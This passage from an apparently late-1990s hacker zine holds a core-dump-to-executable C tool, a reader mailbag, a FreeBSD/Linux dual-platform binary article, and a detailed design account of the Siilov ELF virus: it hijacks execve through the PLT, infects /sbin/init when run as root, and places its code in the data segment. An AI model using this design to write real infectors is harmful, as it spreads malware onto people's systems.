".strtab\0" ".shstrtab\0" ".interp\0" ".hash\0" ".dynsym\0" ".dynstr\0" ".rel.got\0" ".rel.bss\0" ".rel.plt\0" ".init\0" ".plt\0" ".text\0" ".fini\0" ".rodata\0" ".data\0" ".ctors\0" ".dtors\0" ".got\0" ".dynamic\0" ".bss\0" ".comment\0" ".note" ; char *xget(int fd, int off, int sz) { char *buf; if (lseek(fd, off, SEEK_SET) < 0) die("Seek error"); buf = (char *)malloc(sz); if (buf == NULL) die("No memory"); if (read(fd, buf, sz) != sz) die("Read error"); return buf; } void do_elf_checks(Elf32_Ehdr *ehdr) { if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) die("File not ELF"); if (ehdr->e_type != ET_CORE) die("ELF type not ET_CORE"); if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) die("ELF machine type not EM_386 or EM_486"); if (ehdr->e_version != EV_CURRENT) die("ELF version not current"); } int main(int argc, char *argv[]) { Elf32_Ehdr ehdr, *core_ehdr; Elf32_Phdr *phdr, *core_phdr, *tmpphdr; Elf32_Shdr shdr; char *core; char *data[2], *core_data[3]; int prog[2], core_prog[3]; int in, out; int i, p; int plen; if (argc > 2) die("usage: %s [core-file]"); if (argc == 2) core = argv[1]; else core = "core"; in = open(core, O_RDONLY); if (in < 0) die("Coudln't open file: %s", core); if (read(in, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) die("Read error"); do_elf_checks(&ehdr); if (lseek(in, ehdr.e_phoff, SEEK_SET) < 0) die("Seek error"); phdr = (Elf32_Phdr *)malloc(plen = sizeof(Elf32_Phdr)*ehdr.e_phnum); if (read(in, phdr, plen) != plen) die("Read error"); for (i = 0; i < ehdr.e_phnum; i++) printf("0x%x - 0x%x (%i)\n", phdr[i].p_vaddr, phdr[i].p_vaddr + phdr[i].p_memsz, phdr[i].p_memsz); /* copy segments (in memory) prog/data[0] ... text prog/data[1] ... data prog/data[2] ... dynamic */ for (i = 0, p = 0; i < ehdr.e_phnum; i++) { if ( phdr[i].p_vaddr >= 0x8000000 && phdr[i].p_type == PT_LOAD ) { prog[p] = i; if (p == 1) break; ++p; } } if (i == ehdr.e_phnum) die("Couldnt find TEXT/DATA"); for (i = 0; i < 2; i++) data[i] = xget( in, phdr[prog[i]].p_offset, (phdr[prog[i]].p_memsz + 4095) & 4095 ); core_ehdr = (Elf32_Ehdr *)&data[0][0]; core_phdr = (Elf32_Phdr *)&data[0][core_ehdr->e_phoff]; for (i = 0, p = 0; i < core_ehdr->e_phnum; i++) { if (core_phdr[i].p_type == PT_LOAD) { core_prog[p] = i; if (p == 0) { core_data[0] = &data[0][0]; } else { core_data[1] = &data[1][ (core_phdr[i].p_vaddr & 4095) ]; break; } ++p; } } if (i == core_ehdr->e_phnum) die("No TEXT and DATA segment"); for (i = 0; i < core_ehdr->e_phnum; i++) { if (core_phdr[i].p_type == PT_DYNAMIC) { core_prog[2] = i; core_data[2] = &data[1][64]; break; } } if (i == core_ehdr->e_phnum) die("No DYNAMIC segment"); out = open("a.out", O_WRONLY | O_CREAT | O_TRUNC); if (out < 0) die("Coudln't open file: %s", "a.out"); core_ehdr->e_shoff = core_phdr[core_prog[2]].p_offset + core_phdr[core_prog[2]].p_filesz + sizeof(shstr); /* text data bss dynamic shstrtab */ core_ehdr->e_shnum = 6; core_ehdr->e_shstrndx = 5; for (i = 0; i < 2; i++) { Elf32_Phdr *p = &core_phdr[core_prog[i]]; int sz = p->p_filesz; if (lseek(out, p->p_offset, SEEK_SET) < 0) goto cleanup; if (write(out, core_data[i], sz) != sz) goto cleanup; } if (write(out, shstr, sizeof(shstr)) != sizeof(shstr)) goto cleanup; memset(&shdr, 0, sizeof(shdr)); if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup; /* text section */ tmpphdr = &core_phdr[core_prog[0]]; shdr.sh_name = 95; shdr.sh_type = SHT_PROGBITS; shdr.sh_addr = tmpphdr->p_vaddr; shdr.sh_offset = 0; shdr.sh_size = tmpphdr->p_filesz; shdr.sh_flags = SHF_ALLOC | SHF_EXECINSTR; shdr.sh_link = 0; shdr.sh_info = 0; shdr.sh_addralign = 16; shdr.sh_entsize = 0; if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup; /* data section */ tmpphdr = &core_phdr[core_prog[1]]; shdr.sh_name = 115; shdr.sh_type = SHT_PROGBITS; shdr.sh_addr = tmpphdr->p_vaddr; shdr.sh_offset = tmpphdr->p_offset; shdr.sh_size = tmpphdr->p_filesz; shdr.sh_flags = SHF_ALLOC | SHF_WRITE; shdr.sh_link = 0; shdr.sh_info = 0; shdr.sh_addralign = 4; shdr.sh_entsize = 0; if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup; /* dynamic section */ for (i = 0; i < core_ehdr->e_phnum; i++) { if (core_phdr[i].p_type == PT_DYNAMIC) { tmpphdr = &core_phdr[i]; break; } } shdr.sh_name = 140; shdr.sh_type = SHT_PROGBITS; shdr.sh_addr = tmpphdr->p_vaddr; shdr.sh_offset = tmpphdr->p_offset; shdr.sh_size = tmpphdr->p_memsz; shdr.sh_flags = SHF_ALLOC; shdr.sh_link = 0; shdr.sh_info = 0; shdr.sh_addralign = 4; shdr.sh_entsize = 8; if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup; /* bss section */ shdr.sh_name = 149; shdr.sh_type = SHT_PROGBITS; shdr.sh_addr = tmpphdr->p_vaddr + tmpphdr->p_filesz; shdr.sh_offset = tmpphdr->p_offset + tmpphdr->p_filesz; shdr.sh_size = tmpphdr->p_memsz - tmpphdr->p_filesz; shdr.sh_flags = SHF_ALLOC; shdr.sh_link = 0; shdr.sh_info = 0; shdr.sh_addralign = 1; shdr.sh_entsize = 0; if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup; /* shstrtab */ shdr.sh_name = 17; shdr.sh_type = SHT_STRTAB; shdr.sh_addr = 0; shdr.sh_offset = core_ehdr->e_shoff - sizeof(shstr); shdr.sh_size = sizeof(shstr); shdr.sh_flags = 0; shdr.sh_link = 0; shdr.sh_info = 0; shdr.sh_addralign = 1; shdr.sh_entsize = 0; if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup; return 0; cleanup: unlink("a.out"); die("Error writing file: %s", "a.out"); return 1; /* not reached */ } x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x INSERT: graphic x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x ~!@#~!@#~!@#~!@# ! B4B0 Mailbag ! the party programme ~!@#~!@#~!@#~!@# This is the first time doing the B4B0 Mailbag, so right now it's just a selection of emails since 1998. We'll have this as a regular thing from here on. ========================================================================= > Date: Fri, 30 Oct 1998 06:34:52 -0700 (MST) > From: Joe S. Phigan > Subject: w0rd. > > b4b0? > wasn't that mr burn's bear? > > i th0t it wuz funnie. We're laughing on the inside. ========================================================================= > Date: Mon, 9 Nov 1998 12:30:27 +0000 ( ) > From: Packet Storm > Subject: b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0! ... > > Hey, > > B4B0 kicks some motherfucking ass. > > We had to snarf the whole fucking B4B0 archives for the NSA and .mil goons > who visit our site. > > http://www.genocide2600.com/~tattooman/b4b0/ > > Regards, > > Ken Williams Yeah, this email is a couple years old, and Packet Storm had transferred ownership since then (coincidentally to guys that are friends of ours). Anyhow, thanks Ken, and we hope all is well with you. ========================================================================= > Date: Tue, 10 Nov 1998 22:56:01 -0500 (EST) > From: Dr. Mudge > Subject: kudos > > Cheers on a throughly enjoyable issue #5 for b4b0. > > I'm still laughing my ass off 'bout libclear ;) > > .mudge > > PS - feel free to tell prym that I'll post about the math prob if I can > find it... but that's far from a guarantee that I'll hit upon it. Yeah, this is another email that's a couple years old. Thanks, and I don't remember if we told prym about this email or not. ========================================================================= > Date: Tue, 29 Sep 1998 14:57:34 EDT > From: TWiNk197@aol.com > Subject: Re: OMG I MISS YOU. > > Ahhhh!! I brought you from your CODING? I feel SPECIAL! :P > Well, I came on IRC a couple times and you were away so I got off.. and > school is also taking up sooooooooooo much time cuz I have school till 2:10 > then I have yearbook or newspaper or morning star or volunteering or im > getting a job soon.. then i have speeches to write, articles to do, plus i > meet my friend at the library to study for SATs (HER idea).. I don't like > being so busy!! But that'z still no excuse to neglect my poor friend Sam :P > Well.. I have to go now.. I have a dentist appointment in an hour... and I > have *get ready to like.. drop your jaw*.. SEVEN CAVITIES!! It's the > accumulation of like all my cavities cuz I haven't been to the dentist in > years.. but still.. SEVEN? Ugh.. so today they're going to kill me. I felt > like choking from the routine check up, I can only IMAGINE NOVOCAINE!! But > anyway.. it was nice knowing you.. ttyl.. if I survive.. I doubt it tho.. > *huGz* > Rachel > P.S. I missed you too :) I think this email was intended for someone specific. But we'll take what we can get. It's nice to feel loved. ========================================================================= > Date: Wed, 25 Nov 1998 08:19:12 -0800 (PST) > From: Lucifer Satan > Subject: uhm... > > don't you ever grow tired of insulting people in your zine yet? No. But we love you. ========================================================================= > Date: Sun, 13 Dec 1998 02:17:43 -0500 (EST) > From: The Lizard King > Subject: lets see how you liek this you fuck tymat > > Bringing forth the dox once again.. > > -The Monk We love you as well. Actually, that's it for the mailbag this issue. Next issue, we'll answer emails from 1999. x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x INSERT: graphic x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x ~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@# ! Multiplatform FreeBSD/Linux Binaries ! silvio ~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@# INTRODUCTION ------------ This article will show a technique that enables a single binary or code snippet that executes successfuly under two different operating systems without any native support. The operating systems are x86 Linux and FreeBSD both supporting ELF binaries and FreeBSD using the int80 interface of making a system call. PROCEDURE --------- The premise of this idea is simple, both operating systems use the same object format and method of making a system call. However FreeBSD has more system calls than Linux does, so we can simply make a system call that exists in FreeBSD and doesnt in Linux and from the results determine which OS we are using. To create a complete binary that executes in both operating systems, we need only compile the supplied program (hello.c) in either system. Because FreeBSD uses ELF branding, we must brand the executeable so it executes in that operating system. The only thing branding does is place a string (the brandname) in the ELF header padding (at file offset eight). This also means the brandname can be a maximum of eight characters). Also note, that libc must be avoided to avoid conflicts in system calls etc. $ gcc brandelf.c -o brandelf $ gcc -nostdlib hello.c -o hello $ ./brandelf hello FreeBSD The binary 'hello' is now a multiplatform FreeBSD/Linux binary ------------------------------- hello.c --------------------------------- void _start() { asm(" movl $207, %eax int $0x80 cmp $-38, %eax jne FreeBSD Linux: movl $4, %eax movl $1, %ebx movl $string, %ecx movl $6, %edx int $0x80 movl $1, %eax movl $0, %ebx int $0x80 FreeBSD: movl $4, %eax pushl $6 pushl $string pushl $1 pushl $0 int $0x80 movl $1, %eax pushl $0 pushl $0 int $0x80 string: .ascii \"Hello\\n\" "); } ------------------------------ brandelf.c ------------------------------ #include #include #include int main(int argc, char *argv[]) { int fd; if (argc == 2) { char brandname[8]; fd = open(argv[1], O_RDONLY); if (lseek(fd, 8, SEEK_SET) != 8) { perror("lseek"); exit(1); } if (read(fd, brandname, 8) != 8) { perror("read"); exit(1); } printf("%s\n", brandname); } else if (argc == 3) { int len; len = strlen(argv[2]); if (len >= 8) { fprintf(stderr, "Brandname must be < 8 chars\n"); exit(1); } fd = open(argv[1], O_RDWR); if (lseek(fd, 8, SEEK_SET) != 8) { perror("lseek"); exit(1); } if (write(fd, argv[2], len) != len) { perror("read"); exit(1); } } else { fprintf(stderr, "usage: %s filename [brandname]\n", argv[0]); exit(1); } close(fd); } x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x INSERT: graphic x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x ~!@#~!@#~!@#~!@# ! Siilov Virus ! silvio ~!@#~!@#~!@#~!@# The Siilov virus is a Linux x86 parasitic ELF virus written by the author Silvio Cesare in late 1999. Its argueably the most complete Unix virus seen before the year 2000. It infects files via two distinct methods. This never seen befer method, uses residency for the life of the process running the virus. It modifies the procedure linkage table (PLT) of the running executeable to gain control of the 'execve' call and infect any file that is passed via this call if the file access permits it. If the superuser runs the virus, then /sbin/init becomes infected, which will should then infect effectively the entire system as every process is a descendant of init. However, the standard init binary does not use the execve library call but instead uses execl and execvp, thus even though init can become infected, the virus cannot stay resident. However, other programs such as the bash shell do use execve and if for instance this becomes infected, the virus will indeed this time stay resident and attempt infection on every program the user executes from the shell during the login session. The other method of infection is standard direct infection which tries to infect executeables in the current directory much the same way as the VIT and FILE virus do. The actual method of ELF infection is again new to the Unix virus arena. Data infection is used, which has the decisive advantage that the parasitic virus can be of any length; remember the VIT virus was limited to 4096 bytes as a maximum, and much less to be effective. This particular infection method works by inserting the virus code at the end of the data segment in the binary. The data segment is normally marked as non executeable, however under certain operating systems and architectures, having read and write permission implies execute permission. Again as the VIT virus, inserting new data into the file requires a section to account for the new part of the binary if the file is to remain compatable with other programs that use the BFD library such as objjdump and string. Strip in particular as mentioned, will delete the data if no section accounts for it. The Siilov virus is strip safe as a new section (.data1) is added; which appears after the dynamic section and thus makes it rather suspicious for any keen user or virus scanner. This is also how the virus determines if an executeable has already been infected - via the presence of a .data1 section. ELF data infection has the side effect of modifying the bss section. The bss section is used for unitialized data and occupies memory in the process image but does not need to be stored on file because its initializtion of zero is automatically handled by loading the process. To specify that the process requires memory for the bss but does not require file space, the program header has two fields, p_filesz and p_memsz for each segment. These are the file size and memory sizes of the segment respectively, so to indicate a bss of 8 bytes for example, the p_memsz field is 8 bytes greater than the p_filesz field. If new memory is to be inserted after the data segment, then the bss must be modified because it occupies the last remaining memory of the original data segment. To do this, a pseudo bss section is created by the virus which stores the bss in the file image by occuping the original bss section with zero data. The virus can then use the following data for its own devices. The entry point of an infected program doesnt actually change when it becomes infected. Instead, the entry point code changes so it jumps to the end of the data segment (the location of the main virus code). The virus code is then responsible for reconstructing the original code and jumping back when the virus has finished its work. This procedure is called chaining. [ chain ] --+ [ host ] | [ virus ] <-+ [ virus.done ] [ host.store ] [ host.store ] <-+ [ host ] | [ virus ] | [ virus.done ] --+ [ host.store ] * host.store is simply what would be in the original host instead of the chain Although not seen from the end point of view, the Siilov Virus starts a new breed of developing viruses. It can be compiled straight out of the box and run as a complete virus. It is developed in 95% portable C code and 5% platform dependant code (assembler). It infects hosts by extracting the virus directly from the processes memory image compared to seeking to the virus in the infected binary using the argv vector to extract the program name (as does the VIT Virus). PROGRAM STRUCTURE ----------------- void virfunc(void); This function is the main virus code and is called from the chain code. It is written in assembler and does such things as save the registers sets up the plt, calls the rest of the virus that is written in C restores the chain and transfers control back to the host. Remember that the memory protection of the chain code must be changed to restore the chain code. char *getdataseg(void); Because the code must be relocatable, a pseudo data segment is created and this function is responsible for returning a pointer to it. It houses such strings as "vXXXXXX", "execve", ".data1", ".", ".rel.plt" and "/sbin/init". int orig_plt_func( const char *filename, const char *argv[], const char *envp[] ); To call the original 'execve' call, 'orig_plt_func' is used. int plt_execve( const char *filename, const char *argv[], const char *envp[] ) Infection of 'filename' occurs whenever this function is called. After an attempt of infection occurs, a call to 'orig_plt_func' is made which does the real execve. void virchfunc(void); 'virchfunc' is the first code that gets executed. It is the chain routine which simply transfers control to the 'virfunc'. char *get_virus(void); Dynamic determine the address of the virus. void _memcpy(void *dst, void *src, int len); int _strcmp(const char *p, const char *q); These are support functions and are self explanatory. int init_virus( int plt, int data_start, int data_memsz, int entry, bin_t *bin ) Initialize the virus prior to infection by setting the plt, entry point and so forth with the correct values. Also copy the chain store so its available for restoring the chain. int do_elf_checks(Elf32_Ehdr *ehdr) Determine if the ehdr represents an executeble i386 binary. int do_dyn_symtab( int fd, Elf32_Shdr *shdr, Elf32_Shdr *shdrp, const char *sh_function ); int get_sym_number( int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function ); int do_rel(int fd, Elf32_Shdr *shdr, int sym) Support functions for 'find_rel'. int find_rel( int fd, const char *string, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function ) Find the value of the dynamic function 'sh_function'. int load_section(char **section, int fd, Elf32_Shdr *shdr) int load_bin(int fd, bin_t *bin, const char *newsecstr) void free_bin(bin_t *bin); 'load_bin' loads the binary into memory. 'load_section' is a support function. 'free_bin' cleansup. void memzero(char *ptr, int len) int _strlen(const char *str) void malloc_init(void) void *_malloc(int size) void _free(void *ptr) void freeall(void) All quite self explanatory except for the malloc routines. '_free' doesnt actually do anything. 'freeall' is the only routine that frees memory. This makes coding memory allocation routines alot easier at the expense of not freeing memory until exit. int try_infect(char *host) The heart of the virus. Trys to infect a binary and returns 0 on success and -1 on failure. void _vstart(void) The C routine that gets called from 'virfunc' (the first major assembler virus routine that comes after being called from the chain). Does initialization. If root try to infect /sbin/init and regardless do direct infection in the current directory. void virendall(void) Signifies the end of the virus. void _start(void) Only present in the carrier and represents the entry point. Changes memory protection of the virus so it can modify the pseudo data segment then passes control to '_vstart'. $ strings siilov-carrier.bin PSQR _ZY[X vXXXXXX execve .data1 .rel.plt /sbin/init CAB9 (F9u ELFu 4WVS [09] @09E Siilov, Decemeber 1999, Silvio Cesare x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x INSERT: graphic x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x ~!@#~!@#~!@#~!@#~ ! In Conclusion ! the party programme ~!@#~!@#~!@#~!@#~ INSERT: In conclusion [ ! ] @#b4b0!@#b4b0!@#b4b0!#@b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@# [ ! ]